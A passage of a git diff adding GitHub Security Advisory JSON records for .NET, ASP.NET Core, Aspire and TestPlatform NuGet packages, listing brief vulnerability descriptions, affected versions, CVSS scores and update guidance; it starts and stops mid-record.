+{"schema_version":"1.9.2","id":"GHSA-gxg8-5rwf-cg43","published":"2026-11-10T21:32:51Z","modified":"2026-11-10T22:15:04.366637508Z","withdrawn":"2026-11-10T22:06:12Z","summary":"Duplicate Advisory: Microsoft Security Advisory CVE-2026-114147 - ASP.NET Core Denial of Service Vulnerability","details":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-wr8v-9x5q-ggcm. This link is maintained to preserve external references.\n\n## Original Description\nMissing release of memory after effective lifetime in ASP.NET Core allows an unauthorized attacker to deny service over a network.","affected":[{"package":{"name":"Microsoft.AspNetCore.SignalR.StackExchangeRedis","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.SignalR.StackExchangeRedis"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.0.0-preview.1.23112.2"},{"last_affected":"8.0.33"}]}],"versions":["8.0.0","8.0.1","8.0.10","8.0.11","8.0.12","8.0.13","8.0.14","8.0.15","8.0.16","8.0.17","8.0.18","8.0.19","8.0.2","8.0.20","8.0.21","8.0.22","8.0.23","8.0.24","8.0.25","8.0.26","8.0.27","8.0.28","8.0.29","8.0.3","8.0.30","8.0.31","8.0.32","8.0.33","8.0.4","8.0.5","8.0.6","8.0.7","8.0.8"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-gxg8-5rwf-cg43/GHSA-gxg8-5rwf-cg43.json"}}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114147"},{"type":"WEB","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-114147"}],"database_specific":{"cwe_ids":["CWE-401"],"github_reviewed":true,"github_reviewed_at":"2026-11-10T22:06:12Z","nvd_published_at":"2026-11-10T19:19:07Z","severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}]}
\ No newline at end of file
diff --git a/data/NuGet/GHSA-hfpm-4fc4-g2wc.json b/data/NuGet/GHSA-hfpm-4fc4-g2wc.json
new file mode 100644
index 0000000000..401d4ea414
--- /dev/null
+++ b/data/NuGet/GHSA-hfpm-4fc4-g2wc.json
@@ -0,0 +1 @@
+{"schema_version":"1.9.2","id":"GHSA-hfpm-4fc4-g2wc","published":"2026-11-10T21:33:43Z","modified":"2026-11-10T22:30:03.447265936Z","withdrawn":"2026-11-10T22:17:41Z","summary":"Duplicate Advisory: Microsoft Security Advisory CVE-2026-120778 - Aspire Elevation of Privilege Vulnerability","details":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-m63f-xhvm-6mv5. This link is maintained to preserve external references.\n\n## Original Description\nCreation of temporary file in directory with insecure permissions in .NET Aspire allows an authorized attacker to elevate privileges locally.","affected":[{"package":{"name":"Aspire.Cli","ecosystem":"NuGet","purl":"pkg:nuget/Aspire.Cli"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"13.2.0"}]}],"versions":["13.2.0","13.2.1","13.2.2","13.2.3","13.2.4","13.3.0","13.3.1","13.3.2","13.3.3","13.3.4","13.3.5","13.4.0","13.4.1","13.4.2","13.4.3","13.4.4","13.4.5","13.4.6","13.5.0","13.5.1","13.5.2","13.5.3","13.5.4","13.6.0","13.6.1","13.6.2","13.6.3","13.6.4","13.6.5"],"database_specific":{"last_known_affected_version_range":"< 13.6.5","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-hfpm-4fc4-g2wc/GHSA-hfpm-4fc4-g2wc.json"}}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-120778"},{"type":"WEB","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-120778"}],"database_specific":{"cwe_ids":["CWE-379"],"github_reviewed":true,"github_reviewed_at":"2026-11-10T22:17:41Z","nvd_published_at":"2026-11-10T19:20:26Z","severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H"}]}
\ No newline at end of file
diff --git a/data/NuGet/GHSA-m28h-pj36-4364.json b/data/NuGet/GHSA-m28h-pj36-4364.json
new file mode 100644
index 0000000000..a8194b73db
--- /dev/null
+++ b/data/NuGet/GHSA-m28h-pj36-4364.json
@@ -0,0 +1 @@
+{"schema_version":"1.9.2","id":"GHSA-m28h-pj36-4364","published":"2026-11-10T23:08:34Z","modified":"2026-11-10T23:30:09.547081142Z","aliases":["CVE-2026-118749"],"summary":"Microsoft Security Advisory CVE-2026-118749 - ASP.NET Core Denial of Service Vulnerability","details":"## Executive summary\n\nMicrosoft is releasing this security advisory to provide information about a vulnerability in ASP.NET Core. This advisory provides guidance on updating affected applications and components.\n\nMinimal API validation repeatedly copies a growing validation-error dictionary, allowing attacker-controlled collections to trigger quadratic CPU work after the client disconnects.\n\n## Announcement\n\nAnnouncement for this issue can be found at https://github.com/dotnet/announcements/issues/505\n\n## CVSS Details\n\n- **Version:** 3.1\n- **Severity:** High\n- **Score:** 7.5 (base score)\n- **Vector:** `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:U/RL:O/RC:C`\n- **Weakness:** CWE-407\n\n## Affected Platforms\n\n- **Platforms:** Windows, Linux, macOS\n- **Architectures:** All\n\n## <a name=\"affected-packages\"></a>Affected Packages\n\nThe tables list affected version ranges and fixed package versions. Runtime and standalone deliveries are listed separately.\n\n### .NET 11.0 - affected runtime packages\n\nPackage | Affected version | Patched version\n--- | --- | ---\n[Microsoft.AspNetCore.App.Runtime.linux-arm](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-arm) | >= 11.0.0-rc.1.26425.128, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.AspNetCore.App.Runtime.linux-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-arm64) | >= 11.0.0-rc.1.26425.128, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.AspNetCore.App.Runtime.linux-musl-arm](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-arm) | >= 11.0.0-rc.1.26425.128, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.AspNetCore.App.Runtime.linux-musl-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-arm64) | >= 11.0.0-rc.1.26425.128, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.AspNetCore.App.Runtime.linux-musl-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-x64) | >= 11.0.0-rc.1.26425.128, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.AspNetCore.App.Runtime.linux-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-x64) | >= 11.0.0-rc.1.26425.128, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.AspNetCore.App.Runtime.osx-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.osx-arm64) | >= 11.0.0-rc.1.26425.128, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.AspNetCore.App.Runtime.osx-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.osx-x64) | >= 11.0.0-rc.1.26425.128, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.AspNetCore.App.Runtime.win-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-arm64) | >= 11.0.0-rc.1.26425.128, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.AspNetCore.App.Runtime.win-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-x64) | >= 11.0.0-rc.1.26425.128, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.AspNetCore.App.Runtime.win-x86](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-x86) | >= 11.0.0-rc.1.26425.128, <= 11.0.0-rc.3.26522.148 | 11.0.0\n\n### Standalone validation delivery\n\nPackage | Affected version | Patched version\n--- | --- | ---\n[Microsoft.Extensions.Validation](https://www.nuget.org/packages/Microsoft.Extensions.Validation) | >= 11.0.0-rc.1.26425.128, <= 11.0.0-rc.3.26522.148 | 11.0.0\n\n## Advisory FAQ\n\n### <a name=\"how-affected\"></a>How do I know if I am affected?\n\nCheck the deployed runtime and application package versions against the affected ranges above. Self-contained applications include their own runtime; updating a machine-wide runtime does not replace it.\n\n### <a name=\"how-fix\"></a>How do I fix the issue?\n\nInstall the applicable runtime or update each independently referenced package to the fixed version above. Restart applications. Rebuild and redeploy self-contained applications; updating a machine-wide runtime does not replace their embedded runtime. An SDK update alone does not update an application's standalone package references.\n\n## Other Information\n\n### Reporting Security Issues\n\nIf you have found a potential security issue in a supported version of .NET, please report it to the Microsoft Security Response Center (MSRC) via the [MSRC Researcher Portal](https://msrc.microsoft.com/report/vulnerability/new). Further information can be found in the MSRC [Report an Issue FAQ](https://www.microsoft.com/msrc/faqs-report-an-issue).\n\nSecurity reports made through MSRC may qualify for the Microsoft .NET Bounty. Details of the Microsoft .NET Bounty Program including terms and conditions are at https://aka.ms/corebounty.\n\n### Support\n\nYou can ask questions about this issue on GitHub in the .NET GitHub organization. The main repos are located at https://github.com/dotnet/runtime. The Announcements repo (https://github.com/dotnet/Announcements) will contain this bulletin as an issue and will include a link to a discussion issue. You can ask questions in the linked discussion issue.\n\n### Disclaimer\n\nThe information provided in this advisory is provided \"as is\" without warranty of any kind. Microsoft disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Microsoft Corporation or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Microsoft Corporation or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.\n\n### External Links\n\n[CVE-2026-118749](https://www.cve.org/CVERecord?id=CVE-2026-118749)\n\n### Acknowledgements\n\n- Alejandro Pacheco\n- Artur Stetsko\n\n### Revisions\n\nV1.0 (November 10, 2026): Advisory published.","affected":[{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-arm","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-arm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-rc.1.26425.128"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-m28h-pj36-4364/GHSA-m28h-pj36-4364.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-rc.1.26425.128"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-m28h-pj36-4364/GHSA-m28h-pj36-4364.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-musl-arm","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-musl-arm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-rc.1.26425.128"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-m28h-pj36-4364/GHSA-m28h-pj36-4364.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-musl-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-musl-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-rc.1.26425.128"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-m28h-pj36-4364/GHSA-m28h-pj36-4364.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-musl-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-musl-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-rc.1.26425.128"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-m28h-pj36-4364/GHSA-m28h-pj36-4364.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-rc.1.26425.128"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-m28h-pj36-4364/GHSA-m28h-pj36-4364.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.osx-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.osx-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-rc.1.26425.128"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-m28h-pj36-4364/GHSA-m28h-pj36-4364.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.osx-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.osx-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-rc.1.26425.128"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-m28h-pj36-4364/GHSA-m28h-pj36-4364.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.win-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.win-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-rc.1.26425.128"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-m28h-pj36-4364/GHSA-m28h-pj36-4364.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.win-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.win-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-rc.1.26425.128"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-m28h-pj36-4364/GHSA-m28h-pj36-4364.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.win-x86","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.win-x86"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-rc.1.26425.128"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-m28h-pj36-4364/GHSA-m28h-pj36-4364.json"}},{"package":{"name":"Microsoft.Extensions.Validation","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.Extensions.Validation"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-rc.1.26425.128"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-m28h-pj36-4364/GHSA-m28h-pj36-4364.json"}}],"references":[{"type":"WEB","url":"https://github.com/dotnet/aspnetcore/security/advisories/GHSA-m28h-pj36-4364"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-118749"},{"type":"WEB","url":"https://github.com/dotnet/announcements/issues/505"},{"type":"PACKAGE","url":"https://github.com/dotnet/aspnetcore"},{"type":"WEB","url":"https://github.com/dotnet/aspnetcore/discussions/70468"},{"type":"WEB","url":"https://github.com/dotnet/aspnetcore/releases/tag/v11.0.0"},{"type":"WEB","url":"https://github.com/dotnet/core/blob/main/release-notes/11.0/11.0.0/11.0.0.md"},{"type":"WEB","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-118749"}],"database_specific":{"cwe_ids":["CWE-407"],"github_reviewed":true,"github_reviewed_at":"2026-11-10T23:08:34Z","nvd_published_at":"2026-11-10T19:19:51Z","severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:U/RL:O/RC:C"}]}
\ No newline at end of file
diff --git a/data/NuGet/GHSA-q7j6-px74-p2vw.json b/data/NuGet/GHSA-q7j6-px74-p2vw.json
new file mode 100644
index 0000000000..de2f4e44d6
--- /dev/null
+++ b/data/NuGet/GHSA-q7j6-px74-p2vw.json
@@ -0,0 +1 @@
+{"schema_version":"1.9.2","id":"GHSA-q7j6-px74-p2vw","published":"2026-11-11T00:09:46Z","modified":"2026-11-11T00:15:04.651090562Z","aliases":["CVE-2026-114155"],"summary":"Microsoft Security Advisory CVE-2026-114155 - .NET Elevation of Privilege Vulnerability","details":"## Executive summary\n\nMicrosoft is releasing this security advisory to provide information about a vulnerability in the .NET SDK's dotnet-watch component. This advisory provides guidance on updating affected SDK installations.\n\nA local attacker who can replace or modify a temporary solution file used by dotnet-watch can alter a subsequent build. The fix stores generated solution files in a private temporary directory and keeps each file open with read-only sharing while the build uses it.\n\n## Announcement\n\nAnnouncement for this issue can be found at https://github.com/dotnet/announcements/issues/502\n\n## CVSS Details\n\n- **Version:** 3.1\n- **Severity:** High\n- **Score:** 7.5 (base score)\n- **Vector:** `CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H/E:U/RL:O/RC:C`\n- **Weakness:** CWE-367\n- **MSRC severity:** Important\n- **Impact:** Elevation of Privilege\n\n## Affected Platforms\n\n- **Platforms:** Linux, macOS.\n- **Architectures:** Linux: Arm, Arm64, x64; macOS: Arm64, x64\n\nWindows is outside this advisory's affected scope when its temporary directory is private to the current user, as assumed by the implementation. Shared or insecurely configured Windows temporary directories are not covered by that assumption.\n\n## <a name=\"affected-packages\"></a>Affected Packages\n\nThe .NET SDK includes dotnet-watch and the Microsoft.DotNet.HotReload.Watch assembly.\n\nEach SDK feature band is a separate servicing line. Update an affected 10.0.3xx installation to the fixed 10.0.4xx SDK listed below.\n\n### .NET SDK 10.0.3xx\n\nPackage | Affected version | Patched version\n--- | --- | ---\n[.NET SDK (dotnet-watch) 10.0.3xx](https://dotnet.microsoft.com/download/dotnet/10.0) | >= 10.0.300, <= 10.0.303 | 10.0.404\n\n### .NET SDK 10.0.4xx\n\nPackage | Affected version | Patched version\n--- | --- | ---\n[.NET SDK (dotnet-watch) 10.0.4xx](https://dotnet.microsoft.com/download/dotnet/10.0) | >= 10.0.400, <= 10.0.403 | 10.0.404\n\n### .NET SDK 11.0.1xx\n\nPackage | Affected version | Patched version\n--- | --- | ---\n[.NET SDK (dotnet-watch) 11.0.1xx](https://dotnet.microsoft.com/download/dotnet/11.0) | >= 11.0.100-preview.3.26207.106, <= 11.0.100-rc.3.26522.148 | 11.0.100\n\n### Separately restored Aspire watch tool\n\nPackage | Affected version | Patched version\n--- | --- | ---\n[Microsoft.DotNet.HotReload.Watch.Aspire](https://www.nuget.org/packages/Microsoft.DotNet.HotReload.Watch.Aspire) | >= 10.0.300, <= 10.0.303 | 10.0.404\n[Microsoft.DotNet.HotReload.Watch.Aspire](https://www.nuget.org/packages/Microsoft.DotNet.HotReload.Watch.Aspire) | >= 10.0.400, <= 10.0.403 | 10.0.404\n[Microsoft.DotNet.HotReload.Watch.Aspire](https://www.nuget.org/packages/Microsoft.DotNet.HotReload.Watch.Aspire) | >= 11.0.100-preview.3.26207.106, <= 11.0.100-rc.3.26522.148 | 11.0.100\n\nThis tool has its own copy of the watch implementation. Updating the SDK does not necessarily replace a separately restored tool.\n\n## Advisory FAQ\n\n### <a name=\"how-affected\"></a>How do I know if I am affected?\n\nRun `dotnet --version` from the directory where you run dotnet-watch to identify the selected SDK. Use `dotnet --info` and `dotnet --list-sdks` to check its installation path, OS, architecture, and other installed SDKs. Check the nearest applicable `global.json`, including its `version` and `rollForward` settings: installing a newer SDK does not necessarily change the SDK selected for a pinned project. See [.NET SDK selection](https://learn.microsoft.com/dotnet/core/versions/selection).\n\nReview use of dotnet-watch against the affected intervals above. Membership in a listed feature band alone does not establish that a specific SDK version is vulnerable. For Aspire or other tooling that separately restores Microsoft.DotNet.HotReload.Watch.Aspire, check the actual restored package version separately from the selected SDK.\n\n### <a name=\"how-fix\"></a>How do I fix the issue?\n\nThe fixed SDK versions are 10.0.404 and 11.0.100, as applicable. Update each affected SDK installation and restart dotnet-watch. For SDKs installed through Visual Studio, update Visual Studio to a release that includes a fixed SDK. Updating only an application runtime does not replace SDK-bundled tools.\n\nEnsure that `global.json` and its SDK roll-forward policy select a fixed SDK, then rerun `dotnet --version` in the working directory to verify the selection. The SDK-bundled watch tool is installed beneath that selected SDK's `DotnetTools/dotnet-watch` directory.\n\nIf Microsoft.DotNet.HotReload.Watch.Aspire is restored separately, update its package reference or the consuming tool's version configuration to 10.0.404 or 11.0.100, as applicable, restore the tool, and restart the consuming process. An SDK update alone does not update that restored copy.\n\n## Other Information\n\n### Reporting Security Issues\n\nIf you have found a potential security issue in a supported version of .NET, please report it to the Microsoft Security Response Center (MSRC) via the [MSRC Researcher Portal](https://msrc.microsoft.com/report/vulnerability/new). Further information can be found in the MSRC [Report an Issue FAQ](https://www.microsoft.com/msrc/faqs-report-an-issue).\n\nSecurity reports made through MSRC may qualify for the Microsoft .NET Bounty. Details of the Microsoft .NET Bounty Program including terms and conditions are at https://aka.ms/corebounty.\n\n### Support\n\nYou can ask questions about this issue on GitHub in the .NET GitHub organization. The main repos are located at https://github.com/dotnet/runtime. The Announcements repo (https://github.com/dotnet/Announcements) will contain this bulletin as an issue and will include a link to a discussion issue. You can ask questions in the linked discussion issue.\n\n### Disclaimer\n\nThe information provided in this advisory is provided \"as is\" without warranty of any kind. Microsoft disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Microsoft Corporation or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Microsoft Corporation or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.\n\n### External Links\n\n[CVE-2026-114155](https://www.cve.org/CVERecord?id=CVE-2026-114155)\n\n### Acknowledgements\n\n- [Ky0toFu](https://x.com/ky0tofu)\n\n### Revisions\n\nV1.0 (November 10, 2026): Advisory published.","affected":[{"package":{"name":"Microsoft.DotNet.HotReload.Watch.Aspire","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.DotNet.HotReload.Watch.Aspire"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.0.300"},{"fixed":"10.0.404"}]}],"versions":["10.0.300","10.0.301","10.0.302","10.0.303","10.0.400","10.0.401","10.0.402","10.0.403"],"database_specific":{"last_known_affected_version_range":"<= 10.0.303","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-q7j6-px74-p2vw/GHSA-q7j6-px74-p2vw.json"}},{"package":{"name":"Microsoft.DotNet.HotReload.Watch.Aspire","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.DotNet.HotReload.Watch.Aspire"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.0.400"},{"fixed":"10.0.404"}]}],"versions":["10.0.400","10.0.401","10.0.402","10.0.403"],"database_specific":{"last_known_affected_version_range":"<= 10.0.403","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-q7j6-px74-p2vw/GHSA-q7j6-px74-p2vw.json"}},{"package":{"name":"Microsoft.DotNet.HotReload.Watch.Aspire","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.DotNet.HotReload.Watch.Aspire"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.100-preview.3.26207.106"},{"fixed":"11.0.100"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.100-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-q7j6-px74-p2vw/GHSA-q7j6-px74-p2vw.json"}}],"references":[{"type":"WEB","url":"https://github.com/dotnet/sdk/security/advisories/GHSA-q7j6-px74-p2vw"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114155"},{"type":"WEB","url":"https://github.com/dotnet/announcements/issues/502"},{"type":"WEB","url":"https://github.com/dotnet/sdk/issues/57040"},{"type":"WEB","url":"https://github.com/dotnet/dotnet/pull/10885"},{"type":"WEB","url":"https://github.com/dotnet/dotnet/pull/10886"},{"type":"WEB","url":"https://github.com/dotnet/dotnet/commit/032f564872d408f03fba11c8d03e5cd7386164cd"},{"type":"WEB","url":"https://github.com/dotnet/dotnet/commit/c46253a634a2725fd34820ad8a36a3f106f5d01d"},{"type":"WEB","url":"https://github.com/dotnet/core/blob/main/release-notes/10.0/10.0.15/10.0.15.md"},{"type":"WEB","url":"https://github.com/dotnet/core/blob/main/release-notes/11.0/11.0.0/11.0.0.md"},{"type":"WEB","url":"https://github.com/dotnet/core/releases/tag/v10.0.15"},{"type":"WEB","url":"https://github.com/dotnet/core/releases/tag/v11.0.0"},{"type":"WEB","url":"https://github.com/dotnet/dotnet/releases/tag/v10.0.404"},{"type":"WEB","url":"https://github.com/dotnet/dotnet/releases/tag/v11.0.100"},{"type":"PACKAGE","url":"https://github.com/dotnet/sdk"},{"type":"WEB","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-114155"}],"database_specific":{"cwe_ids":["CWE-367"],"github_reviewed":true,"github_reviewed_at":"2026-11-11T00:09:46Z","nvd_published_at":"2026-11-10T19:19:08Z","severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H/E:U/RL:O/RC:C"}]}
\ No newline at end of file
diff --git a/data/NuGet/GHSA-r33q-3g5w-gqx6.json b/data/NuGet/GHSA-r33q-3g5w-gqx6.json
new file mode 100644
index 0000000000..b708476965
--- /dev/null
+++ b/data/NuGet/GHSA-r33q-3g5w-gqx6.json
@@ -0,0 +1 @@
+{"schema_version":"1.9.2","id":"GHSA-r33q-3g5w-gqx6","published":"2026-11-10T21:32:22Z","modified":"2026-11-11T00:30:04.459937050Z","withdrawn":"2026-11-11T00:11:54Z","summary":"Duplicate Advisory: Microsoft Security Advisory CVE-2026-105544 - .NET Elevation of Privilege Vulnerability","details":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-6856-87hx-p5x7. This link is maintained to preserve external references.\n\n## Original Description\nImproper access control in .NET allows an authorized attacker to elevate privileges locally.","affected":[{"package":{"name":"Microsoft.TestPlatform.CLI","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.TestPlatform.CLI"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"17.2.0-preview-20220301-01"}]}],"versions":["17.10.0","17.10.0-preview-24080-01","17.10.0-release-24177-07","17.11.0","17.11.0-release-24352-06","17.11.0-release-24373-02","17.11.1","17.11.2","17.12.0","17.12.1","17.13.0","17.14.0","17.14.0-preview-25107-01","17.14.1","17.14.2","17.2.0","17.2.0-preview-20220301-01","17.2.0-preview-20220401-07","17.2.0-preview-20220401-08","17.2.1","17.3.0","17.3.0-preview-20220426-02","17.3.0-preview-20220530-08","17.3.0-preview-20220612-01","17.3.1","17.3.2","17.3.3","17.3.4","17.4.0","17.4.0-preview-20220707-01","17.4.0-preview-20220726-02","17.4.0-preview-20221003-03","17.4.0-release-20220926-01","17.4.1","17.5.0","17.5.0-preview-20221003-04","17.5.0-preview-20221221-03","17.6.0","17.6.0-preview-20230223-05","17.6.1","17.6.2","17.6.3","17.7.0","17.7.0-preview-23364-03","17.7.1","17.7.2","17.8.0","17.8.0-preview-23371-04","17.8.0-preview-23424-02","17.8.0-release-23468-02","17.8.1","17.9.0","17.9.0-preview-23503-02","17.9.0-preview-23531-01","17.9.0-preview-23577-04","17.9.0-release-23619-01","18.0.0","18.0.1","18.0.2","18.10.0","18.10.1","18.10.2","18.11.0","18.11.1","18.3.0","18.4.0","18.5.0","18.5.1","18.6.0","18.7.0","18.7.1","18.8.0","18.8.1","18.9.0"],"database_specific":{"last_known_affected_version_range":"< 